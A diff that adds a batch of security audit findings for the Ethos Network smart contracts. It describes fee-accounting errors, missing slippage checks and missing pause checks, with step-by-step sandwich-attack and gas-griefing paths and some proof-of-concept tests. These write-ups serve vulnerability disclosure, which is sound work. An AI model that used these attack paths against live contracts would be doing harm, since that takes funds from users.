two-step process for updating recipients + - First transaction commits to the update with a hash + - Second transaction reveals the new recipient + - This prevents front-running but adds complexity and gas costs + +## References +- [EIP-1884](https://eips.ethereum.org/EIPS/eip-1884) - Discussion on griefing attacks +- [Similar issue in OpenZeppelin's PaymentSplitter](https://github.com/OpenZeppelin/openzeppelin-contracts/issues/2435) +- [MEV & Front-Running](https://ethereum.org/en/developers/docs/mev/) - Ethereum documentation on MEV and front-running \ No newline at end of file diff --git a/517.md b/517.md new file mode 100644 index 0000000..a82dc8f --- /dev/null +++ b/517.md @@ -0,0 +1,97 @@ +Calm Fiery Llama + +Medium + +# First voucher for a subject will end up staking more than intended + +### Summary + +Vouchers are required to pay multiple types of fees, including the voucher pool fee. When the protocol tells a voucher that they need to send more ETH to cover the voucher pool fee, but they are the first voucher for the subject, they end up staking more than intended. + +### Root Cause + +In [EthosVouch:949](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L949), `_rewardPreviousVouchers()` returns `0`, if the voucher is the first voucher for the subject. However, it is never checked if it returns `0`, which causes the supposed vouchers pool fee to be added to the balance of the vouch. + +### Internal pre-conditions + +1. `entryVouchersPoolFeeBasisPoints` must be greater than `0`. + +### External pre-conditions + +None. + +### Attack Path + +1. A voucher calls `EthosVouch::vouchByProfileId()` to vouch for a subject. They are the first voucher for that subject. +2. The voucher sends the amount they want to stake plus the amount of fees, including the vouchers pool fee. +3. The vouchers pool fee cannot be distributed to previous vouchers as there are no previous vouchers for the subject. +4. The voucher will end up staking more than intended. + +### Impact + +The first voucher for a subject will stake up to 10% more than they intended. This causes their magnitude of trust and the subject's credibility score to be inflated. +For example, if the first voucher intended to vouch for 100 ETH and the entry vouchers pool fee were at 10%, the first voucher would end up staking 110 ETH. + +### PoC + +The following test should be added to `EthosVouch.test.sol`: + +```solidity + it('should succeed first voucher pays voucher pool fee', async () => { + const { + ethosProfile, + ethosVouch, + ADMIN, + OWNER, + PROFILE_CREATOR_0, + VOUCHER_0, + } = await loadFixture(deployFixture); + + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address); + await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1); + + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address); + await ethosProfile.connect(VOUCHER_0).createProfile(1); + + expect(await ethosProfile.profileIdByAddress(PROFILE_CREATOR_0.address)).to.be.equal( + 2, + 'wrong profile Id', + ); + + // set vouchers pool fee to 1000 + await ethosVouch.connect(ADMIN).setEntryVouchersPoolFeeBasisPoints(1000); + + expect(await ethosVouch.entryVouchersPoolFeeBasisPoints()).to.be.equal( + 1000, + 'wrong vouchers pool fee', + ); + + const vouchContractBalanceBeforeVouch = await ethers.provider.getBalance(ethosVouch.getAddress()); + + await ethosVouch.connect(VOUCHER_0).vouchByProfileId(2, DEFAULT_COMMENT, DEFAULT_METADATA, { + value: ethers.parseEther('1.1'), + }); + + expect(await ethosVouch.vouchCount()).to.equal(1, 'Wrong vouchCount'); + + const vouchContractBalanceAfterVouch = await ethers.provider.getBalance(ethosVouch.getAddress()); + const vouchContractBalanceDifferenceVouch = vouchContractBalanceAfterVouch - vouchContractBalanceBeforeVouch; + + expect(vouchContractBalanceDifferenceVouch) + .to.equal(1100000000000000000n, 'Paid less than amount sent'); + + const vouchContractBalanceBeforeUnvouch = await ethers.provider.getBalance(ethosVouch.getAddress()); + + await ethosVouch.connect(VOUCHER_0).unvouch(0); + + const vouchContractBalanceAfterUnvouch = await ethers.provider.getBalance(ethosVouch.getAddress()); + const vouchContractBalanceDifferenceUnvouch = vouchContractBalanceBeforeUnvouch - vouchContractBalanceAfterUnvouch; + + expect(vouchContractBalanceDifferenceUnvouch) + .to.equal(1100000000000000000n, 'Vouchers pool fee not in balance'); + }); +``` + +### Mitigation + +Consider refunding the vouchers pool fee if the voucher is the first voucher for the subject. \ No newline at end of file diff --git a/518.md b/518.md new file mode 100644 index 0000000..646185f --- /dev/null +++ b/518.md @@ -0,0 +1,38 @@ +Skinny Eggplant Canary + +Medium + +# Admin can manipulate with exitFeeBasisPoints after deployment + +### Summary + +Admin before deployment can set exitFeeBasisPoints low, but after deployment can change up to 100% which can drain all funds of authors during unvouching. + +### Root Cause + +- https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L961 toDeposit can be zero if amount == exitFee, +- https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L955 exitFeeBasisPoints is not limited, which can bring exitFee == amount. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +during unvouching author can lose all iths funds due to high exitFees which onlyAdmin can modify after deployment + +### PoC + +_No response_ + +### Mitigation + + add uint256 public constant MAX_EXIT_FEE = ##MAX_EXIT FEE; diff --git a/519.md b/519.md new file mode 100644 index 0000000..b8538af --- /dev/null +++ b/519.md @@ -0,0 +1,44 @@ +Powerful Maroon Rattlesnake + +High + +# Compromised Address Permanently Traps Staked Funds, Exposing Users to Complete Financial Loss + +### Summary + +In `EthosVouch` contract the requirement for `msg.sender` to match the `authorAddress` in the `unvouch` function will cause an inability to recover staked funds for the user , in case the address gets compromised , as the user cannot use a different address to call the function. + +### Root Cause + +In the`unvouch` function the requirement that `msg.sender` must equal `authorAddress` ` (vouches[vouchId].authorAddress != msg.sender) ` prevents users from recovering funds if their vouching address is marked as compromised. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L459 + + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A user creates a `vouch` using `address A`. +2. The `address A` is later `compromised` and marked as such in 'Ethos.profile'. +4. The user attempts to call the `unvouch` function using a new secure address, but the function reverts due to the `msg.sender` check. +5. **The user's staked funds remain locked, with no way to recover them.** + +### Impact + +user's staked funds gets locked forever in the protocol and no way to recover it. + +### PoC + +_No response_ + +### Mitigation + +Allow users to withdraw from other addresses that is associated with the same `profileID`. +Introduce a recovery mechanism allowing users to transfer the ability to unvouch to a new address after marking the original address as compromised diff --git a/520.md b/520.md new file mode 100644 index 0000000..342ef41 --- /dev/null +++ b/520.md @@ -0,0 +1,40 @@ +Clumsy Amethyst Ram + +High + +# The sellVotes function lacks slippage protection, allowing for sandwich attacks that can lead to user losses + +### Summary + +The absence of slippage protection in the `sellVotes` function will cause a potential loss for users as the function can be exploited through sandwich attacks by malicious actors. + +### Root Cause + +In `ReputationMarket.sol`, the [sellVotes](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) function does not implement slippage protection, unlike the [buyVotes](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L493) function, which allows attackers to manipulate the transaction by front-running / back-running it. + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +1. The attacker monitors the `sellVotes` transaction and determines the amount of votes to be sold. +2. The attacker submits a front-running transaction (buyVotes) of the opposite side. +3. After the original transaction is processed, the attacker submits a back-running transaction (sellVotes) to extract value by selling votes after the original seller increased the price of the opposite side. + + +### Impact + +The user suffers a loss due to price manipulation caused by a sandwich attack. The attacker gains the manipulated value from the user's transaction. + +### PoC + +_No response_ + +### Mitigation + +To mitigate this issue, implement slippage protection in the `sellVotes` function similar to the protection in `buyVotes`, ensuring that the funds received for the sale match the expected values within an acceptable slippage limit. \ No newline at end of file diff --git a/521.md b/521.md new file mode 100644 index 0000000..3f8bf09 --- /dev/null +++ b/521.md @@ -0,0 +1,55 @@ +Tart Sandstone Seahorse + +High + +# SellVotes inflates market funds because it does not include the fee + +### Summary + +The `sellVotes()` function currently undercounts the funds withdrawn from the market. This is because it does not account for the exit fee paid by the user, which should be removed from the market. As a result, the market's fund balance is inflated, leading to either a reverts when graduation a market or an inflated withdrawal amount. + +### Root Cause + +in `sellVotes()` [ReputationMarket:522](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L522) funds are removed from the market +```solidity +marketFunds[profileId] -= fundsReceived; + +``` + +This does not include the fee that is paid and calculated in [ReputationMarket:1041](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1041) + +```solidity +fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); +``` + +When the market is graduated we attempt to withdrawal the funds [ReputationMarket:675](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L675) + +```solidity + _sendEth(marketFunds[profileId]); +``` + +Here we will either withdraw more than we should essentially stealing from other markets or we will revert if this is the final market or if the discrepancy accumulated is large enough + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Graduating market either reverts or it withdraws to much since the funds have been inflated. + +### PoC + +_No response_ + +### Mitigation + +Include the fee so that the correct amount is removed from the market. \ No newline at end of file diff --git a/522.md b/522.md new file mode 100644 index 0000000..c4769ae --- /dev/null +++ b/522.md @@ -0,0 +1,42 @@ +Early Sand Hedgehog + +High + +# Compromised Addresses Lock Staked Funds Indefinitely + +### Summary + +A vulnerability in the `EthosVouch` contract exposes users to permanent financial loss. The `unvouch` function requires the caller's address `(msg.sender)` to match the address that created the `vouch (authorAddress)`. If a user's vouching address is compromised, they cannot recover their staked funds using a different, secure address. This restriction within the `unvouch` function creates a situation where compromised addresses permanently trap staked funds. + +### Root Cause + +The `unvouch` function in the `EthosVouch.sol` contract enforces a condition where `msg.sender` (the address calling the function) must be equal to `vouches[vouchId].authorAddress `(the address that created the vouch). This check prevents users from calling `unvouch` with a different address, even if their original vouching address is compromised. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L459C1-L462C1 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User Creates Vouch: A user creates a vouch using an address, denoted as address A. +2. Address Compromise: Later, address A becomes compromised and is flagged as such within the 'Ethos.profile' contract. +3. Attempted Recovery: The user, no longer in control of address A, tries to call the unvouch function using a new, secure address. +4. Function Reverts: Due to the msg.sender check, the unvouch function reverts, preventing the user from recovering their staked funds. +5. Funds Locked: The user's staked funds remain permanently locked within the protocol, irretrievable due to the compromised vouching address. + +### Impact + +This vulnerability exposes users to the permanent loss of staked funds. If a user's vouching address is compromised, they have no way to recover their staked assets through the `unvouch` function using a different address. + +### PoC + +_No response_ + +### Mitigation + +Allow users to withdraw vouches from addresses associated with the same profile ID, not just the original vouching address. \ No newline at end of file diff --git a/523.md b/523.md new file mode 100644 index 0000000..2314e15 --- /dev/null +++ b/523.md @@ -0,0 +1,60 @@ +Tart Sandstone Seahorse + +High + +# Market funds are inflated when buying votes + +### Summary + +Incorrect accounting in `buyVotes()` will lead to stuck funds or inflated amount being withdrawal when graduating market + +### Root Cause + +In [ReputationMarket:481](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481) users can votes are sold. The `marketFunds` mapping is updated to reflect this + +```solidity +marketFunds[profileId] += fundsPaid; + +``` + +This is incorrect since `fundsPaid` include fees that does not belong to the market. + +In `calculateBuy()` it can be seen in [ReputationMarket:978](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978) + +```solidity + fundsPaid += protocolFee + donation; +``` + +that this is the case. + +When the market is graduated we attempt to withdrawal the funds [ReputationMarket:675](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L675) + +```solidity + _sendEth(marketFunds[profileId]); +``` + +Here we will either withdraw more than we should essentially stealing from other markets or we will revert if this is the final market or if the discrepancy accumulated is large enough + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +When a market is graduated it will either revert or because the funds necessary are not available or it will withdraw more than it should, taking funds form other markets. + +### PoC + +_No response_ + +### Mitigation + +Do not include fees in the market funds when buying votes. \ No newline at end of file diff --git a/524.md b/524.md new file mode 100644 index 0000000..a77207e --- /dev/null +++ b/524.md @@ -0,0 +1,51 @@ +Tart Sandstone Seahorse + +Medium + +# Missing slippage protection in SellVotes function + +### Summary + +Slippage protection is missing in `SellVotes()`. If the market shifts unfavorably, users might receive less than anticipated. At present, users can only choose the amount they wish to sell without being able to set a minimum acceptable amount for the trade. + +### Root Cause + +In [ReputationMarket:495](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495) votes are sold with the following call + +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) +``` + +it is not possible to specify the minimum amount of funds the user wishes to exchange for `amount` in votes. + +The funds received are calculated in ReputationMarket:501 with a call to `_calculateSell()` which is returns `fundsReceoved` which is the amount the user will receive. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +1. Alice simulates the selling of votes and believes they will receive `X` funds in return which is the minimum they would accept +2. Before they can send and have their transaction processed the market changes. +3. Alice receives `Y= marketConfigs.length) { + revert InvalidMarketConfigOption("index not found"); + } + + emit MarketConfigRemoved(configIndex, marketConfigs[configIndex]); + + // If this is not the last element, swap with the last element + uint256 lastIndex = marketConfigs.length - 1; + if (configIndex != lastIndex) { + marketConfigs[configIndex] = marketConfigs[lastIndex]; + } + + // Remove the last element + marketConfigs.pop(); + } + +``` + +The removed `configIndex` now points to another config. + +### Internal pre-conditions + +1. Bob wants to create a market with `configX` which currently has `configIndex=X` +2. Before Bob creates the market the admin removes `configX`, index `X` now points to `configY` +3. Bob calls `createMarketWithConfig()` with `marketConfigIndex=X` but this will now create a market with `configY`. + + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The incorrect market will be created. + +### PoC + +_No response_ + +### Mitigation + +User should input the actual parameters validate that they correspond to the config selected. \ No newline at end of file diff --git a/528.md b/528.md new file mode 100644 index 0000000..dc20c6c --- /dev/null +++ b/528.md @@ -0,0 +1,48 @@ +Recumbent Juniper Kitten + +Medium + +# Users can interact with 'increaseVouch' while the contract is paused + +### Summary + +The missing whenNotPaused modifier in the increaseVouch function will cause a violation of the pause mechanism for all contract users as unintended transactions can occur during paused states. + +### Root Cause + +In `EthosVouch.sol:426`, the increaseVouch function lacks the whenNotPaused modifier, allowing it to be executed even when the contract is paused. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + +### Internal pre-conditions + +1. Admin must pause the contract by calling the pause() function. +2. Users must call increaseVouch() to increase the balance of an active vouch. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The protocol’s pause mechanism fails to protect against unintended operations during paused states, potentially leading to: + +- Unauthorized staking of funds. +- State inconsistencies during critical investigations or upgrades. +- Loss of user trust in the pause mechanism’s reliability. + +### PoC + +_No response_ + +### Mitigation + +Add the whenNotPaused modifier to the increaseVouch function: + +`function increaseVouch(uint256 vouchId) public payable whenNotPaused nonReentrant { + ... +}` \ No newline at end of file diff --git a/529.md b/529.md new file mode 100644 index 0000000..0556bb0 --- /dev/null +++ b/529.md @@ -0,0 +1,59 @@ +Magic Basil Caterpillar + +Medium + +# max fees collected may exceed 10% in reputation market + +### Summary + +In reputation Market contract users buy and sell votes. +When buying votes, fees will be collected from buyer +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L459 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L960 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1141-L1153 +here fees collected can be upto 10%.(As entryProtocolFeeBasisPoints+donationBasisPoints can go upto 1000 basis points) +And when selling votes we have, again we are paying fees, +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L510 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1041 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1141-L1153 +here again we can pay upto 5% fees on funds recieved as exitProtocolFeeBasisPoints can be upto 500 basis points.so total fees collected from user can go upto approximately 15% percent which is greater than 10%. +but according to readme, +Are there any limitations on values set by admins (or other roles) in the codebase, including restrictions on array lengths? +For both contracts: + +Maximum total fees cannot exceed 10% + + +### Root Cause + +entryProtocolFeeBasisPoints donationBasisPoints exitProtocolFeeBasisPoints three of them can be set upto 500 basis points. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L88-L90 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L593-L598 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L604-L611 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L617-L624 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +max fees collected may exceed 10% + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/530.md b/530.md new file mode 100644 index 0000000..a892fe3 --- /dev/null +++ b/530.md @@ -0,0 +1,64 @@ +Bald Caramel Rook + +Medium + +# Missing `whenNotPaused` Modifier in `EthosVouch::increaseVouch` function + +### Summary + +All functions that users can interact with have `whenNotPaused` modifier: `vouchByAddress`, `vouchByProfileId`, `unvouch`, `unvouchUnhealthy`, `markUnhealthy`, and `claimRewards`. The missing modifier in `EthosVouch::increaseVouch` will allows users to increases the amount staked for an existing vouch when they should not. + +### Root Cause + +In `EthosVouch.sol:426` there is a missing `whenNotPaused` modifier. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +In the event of a vulnerability or exploit, the admin will be unable to pause this function. This could lead to continued unauthorized or malicious interactions. + +### Code Snippet +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + +### PoC + +_No response_ + +### Mitigation + +Add the `whenNotPaused` modifier to `EthosVouch::increaseVouch` function. +diff + +```diff +- function increaseVouch(uint256 vouchId) public payable nonReentrant { ++ function increaseVouch(uint256 vouchId) public payable nonReentrant whenNotPaused { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` \ No newline at end of file diff --git a/531.md b/531.md new file mode 100644 index 0000000..4974a33 --- /dev/null +++ b/531.md @@ -0,0 +1,47 @@ +Tart Sandstone Seahorse + +Medium + +# Unable to mark unvouch as unhealthy due to faulty update of parameters + +### Summary + +Updating the `unhealthyResponsePeriod` alters the timeframe during which previous calls to unvouch can mark a service as unhealthy. A likely scenario is that a user who has unvouched may find themselves unable to mark the service as unhealthy because the `unhealthyResponsePeriod` has been reduced, thereby shortening the time available to them since they initially unvouched. + +### Root Cause + +In [EthosVouch:662](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L662) the `unhealthyReposnePeriod` is updated. When `markUnHealthy()` we check that this amount of time has not passed in [EthosVouch:858](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L858) + +```solidity +bool stillHasTime = block.timestamp <= +v.activityCheckpoints.unvouchedAt + unhealthyResponsePeriod; +``` + +updating this parameters thus changes the amount of time available to call `markUnhealthy()` even for previously unvouched calls. + +### Internal pre-conditions + +1. A Bob unvouches. Time to call `markUnhealthy()` is `unhealthyReposnePeriod_1` +2. Admin calls `updateUnhealthyResponsePeriod()` such that `unhealthyReposnePeriod=unhealthyReposnePeriod_2 { + const { fundsPaid } = await userA.buyOneVote(); + const { fundsReceived } = await userA.sellOneVote(); + }); +``` + +After running the test you will get the following output: + +![Screenshot 2024-12-05 at 7 04 54 PM](https://github.com/user-attachments/assets/b1dd4abf-b250-4ef8-b9b2-f6d4f329519e) + + +```shell + ReputationMarket +The max vote purchase price is: 6666666666666666 +The max vote purchase price is: 6666666666666666 +The funds paid for votes: 5000000000000000 + +``` + +Notice this test purchases one vote for the total price of `5000000000000000` which is less than the reported `maxPrice` for one vote which is `6666666666666666` which is incorrect. In conclusion, the `maxVotePrice` cannot be greater than the total price when buying votes. + + +### Mitigation + +Make the following changes to the `ReputationMarket::_calculateBuy` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L970C1-L977C5 + +```diff + while (fundsAvailable >= votePrice) { ++ votePrice = _calcVotePrice(market, isPositive); + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; +- votePrice = _calcVotePrice(market, isPositive); + } +``` \ No newline at end of file diff --git a/533.md b/533.md new file mode 100644 index 0000000..fa1a93f --- /dev/null +++ b/533.md @@ -0,0 +1,50 @@ +Eager Peanut Sawfish + +Medium + +# `targetExistsAndAllowedForId` does not check for `unvouched` or `unhealthy` targetIds. + +### Summary + +The `targetExistsAndAllowedForId` function is used to check whether a target (vouchId) exists and whether it is "allowed" to be used, since the function is external, any protocol facet or External protocol leveraging it's output for other purposes can be DOS'd. +A target can have a `vouchedAt > 0` and be unvouched (not allowed to be used). so this function is implemented incorrectly. + +### Root Cause + +The function does not explicitly check if the vouch is archived or unhealthy, which might be relevant for determining if it's "allowed". +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L750-L757 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. External protocol calls `targetExistsAndAllowedForId` with a vouch Id that has been unvouched and gets false information on whether it is allowed + +```solidity +function targetExistsAndAllowedForId( + uint256 targetId + ) external view returns (bool exists, bool allowed) { + Vouch storage vouch = vouches[targetId]; + + exists = vouch.activityCheckpoints.vouchedAt > 0; + allowed = exists; + } +``` + +### Impact + +DOS of integrating protocols, wrong information returned in external protocol or protocol facets that call `targetExistsAndAllowedForId`. + +### PoC + +_No response_ + +### Mitigation + +check whether the `vouchId` has been unvouched by checking the archived status and health status diff --git a/534.md b/534.md new file mode 100644 index 0000000..b85cb88 --- /dev/null +++ b/534.md @@ -0,0 +1,97 @@ +Thankful Lipstick Bull + +High + +# Lack of slippage protection fot ETH spend/received in ReputationMarket.sol + +### Summary + +In `buyVotes()` and `sellVotes()` functions there is no slippage protection fot ETH spend/received. User can only specify number of votes he expects to receive, but not the price of this votes. + +### Root Cause + +[Link](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) + +User can set the expected number of votes when buying them, but cannot set the expected amount to pay for them when buying votes, or the expected amount he will receive for selling them. +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; +//... + _emitMarketUpdate(profileId); + } +``` +In some markets, the price can be very volatile, leading to unexpected overpayments or selling votes at a discounted price. + +> * Market configurations offer different initial setups to control the volatility and stability of reputation markets. +> * With the default configuration, a low number of initial votes can cause significant price fluctuations, leading to a highly volatile market. +> * lower initial votes result in faster price changes + + +### Internal pre-conditions + +None. + +### External pre-conditions + +The vote price changed after the user's call because some sell/buy transactions were executed earlier that user's one. + +### Attack Path + +Example: +`TRUST/DISTRUST` votes in market - 10/10, total votes - 20; +base price - 100 ETH: + +- Amelie wants to sell 3 votes (TRUST) and expects to receive 141.8 ETH; +```solidity +fundsReceived = (10 * 100e18/20) + (9 * 100e18/19) + (8 * 100e18/18) = 141.8 ETH +``` +- Due to private mempool on Base L2, Amelie has no control over order of transactions execution; +- If Bob's transaction to sell 2 votes (TRUST) was executed right before her transaction, Amelie would receive 123 ETH: +```solidity +fundsReceived (Bob) = (10 * 100e18/20) + (9 * 100e18/19) = 97.4 ETH +``` +```solidity +fundsReceived (Amelie) = (8 * 100e18/18) + (7 * 100e18/17) + (6 * 100e18/16) = 123 ETH +``` + +### Impact + +User suffers unexpected losses due to lack of slippage protection over volatile vote price. + +### PoC + +See *Attack Path*. + +### Mitigation + +Allow users to set slippage limits over ETH spend/received in `buyVotes()` and `sellVotes()`. \ No newline at end of file diff --git a/535.md b/535.md new file mode 100644 index 0000000..d81a87c --- /dev/null +++ b/535.md @@ -0,0 +1,94 @@ +Cheery Mustard Swallow + +Medium + +# Malicious users or normal users with sufficient eth can cause denial-of-service through large vote buying griefing attack + +### Summary + +The unbounded loop in `ReputationMarket::_calculateBuy()` enables potential griefing attacks where an attacker with sufficient funds can cause excessive gas consumption and block congestion when vote prices are low, impacting other users' ability to interact with the protocol. + +### Root Cause + +`buyVotes()` in [ReputationMarket.sol:442](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L493) allows users to provide arbitrary amounts of ETH that get processed in _calculateBuy() through an unbounded while loop, if the price of either Trust or Distrust votes go low enough, a user with sufficient eth can cause denial-of-service. + +```solidity +while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); +} +``` + +### Internal pre-conditions + +1.Trust or Distrust vote prices need to be low enough + + +### External pre-conditions + +1. Access to sufficient ETH to trigger many iterations + - Can be achieved with as much as 6-12 ETH when vote prices are low. Even 3 ETH is sufficient, when vote prices reach 0.001 ETH which is easily possible if the other side has seen much more demand. + +### Attack Path + +1. Wait for Trust or Distrust vote prices to drop to as low 0.002 ETH per vote +2. Submit transaction with large ETH amount (e.g., 6 ETH) to `buyVotes()` +3. The unbounded loop will attempt to process thousands of iterations: + - Each iteration: state update + price calculation + - Example: 3000 iterations * (21000 base gas + ~5000 gas per operation) +4. Transaction will likely hit block gas limit and revert at around 3000+ votes +5. Can be repeated to continually block function access + +### Impact + +1. Denial of service through block gas limit exhaustion + - Base L2 block gas limit: ~15M gas + - Attack transactions approach/exceed this limit +2. Economic denial of service + - Users must pay high gas fees to compete + - Failed transactions waste gas +3. Market manipulation risk + - Large pending transactions can affect market pricing + - Failed transactions still impact gas prices +4. Protocol functionality degradation + - Vote buying becomes unreliable + - Market price discovery mechanisms disrupted + +### PoC +The test fails from attempting to buy 6000 votes: + +```typescript +it('should allow a user to buy unlimited positive votes', async () => { + const amountToBuy = DEFAULT.buyAmount * 2000n; //can fail at 3000n+ + + const { trustVotes: positive, distrustVotes: negative } = await userA.buyVotes({ + buyAmount: amountToBuy, + }); + expect(positive).to.equal(2007); + expect(negative).to.equal(0); + }); +``` + +### Mitigation + +- Implement maximum votes per transaction. + +```solidity +function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds +) private view { + uint256 constant MAX_VOTES_PER_TX = 1000; + + while (fundsAvailable >= votePrice && votesBought < MAX_VOTES_PER_TX) { + // ... existing loop code ... + } +} +``` + +- Implement batch buying with explicit limits. +- Add upper bound on input funds relative to current price. \ No newline at end of file diff --git a/536.md 